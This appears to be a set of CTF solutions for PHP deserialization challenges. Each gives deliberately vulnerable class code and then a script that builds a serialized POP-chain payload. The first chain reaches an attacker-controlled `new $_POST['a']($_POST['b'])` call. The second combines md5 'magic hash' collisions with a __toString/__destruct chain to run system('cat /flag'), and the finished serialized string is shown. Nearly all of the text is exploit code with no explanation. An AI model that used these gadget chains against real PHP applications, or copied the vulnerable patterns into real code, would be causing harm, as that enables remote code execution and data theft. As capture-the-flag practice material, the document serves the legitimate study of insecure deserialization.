<?php error_reporting(0); highlight_file(__FILE__); // flag.php class teacher{ public $name; public $rank; private $salary; public function __construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } }
class classroom{ public $name; public $leader; public function __construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } } }
class school{ public $department; public $headmaster; public function __construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $_POST['a']($_POST['b']); } } public function __wakeup(){ if($this->department->hahaha()) { $this->IPO(); } } }
<?php error_reporting(0); highlight_file(__FILE__); // flag.php class teacher{ public $name='ing'; public $rank='department'; }
class classroom{ public $name="one class"; public $leader; }
class school{ public $department; public $headmaster = "ong"; } $a = new school(); $a->department=new classroom(); $a->department->leader=new teacher(); echo base64_encode(serialize($a)); ?>
<?php error_reporting(0); class dxg { function fmm() { return "nonono"; } }
class lt { public $impo='hi'; public $md51='weclome'; public $md52='to NSS'; function __construct() { $this->impo = new dxg; } function __wakeup() { $this->impo = new dxg; return $this->impo->fmm(); }
function __toString() { if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); } function __destruct() { echo $this; } }
class fin { public $a; public $url = 'https://www.ctfer.vip'; public $title; function fmm() { $b = $this->a; $b($this->title); } }
class lt { public $impo='hi'; public $md51='s155964671a'; public $md52='s214587387a';
}
class fin { public $a="system"; public $url="https://www.ctfer.vip"; public $title = "cat /flag"; } $a = new lt(); $b = new fin(); $a->impo=$b; echo serialize($a); ?> //O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}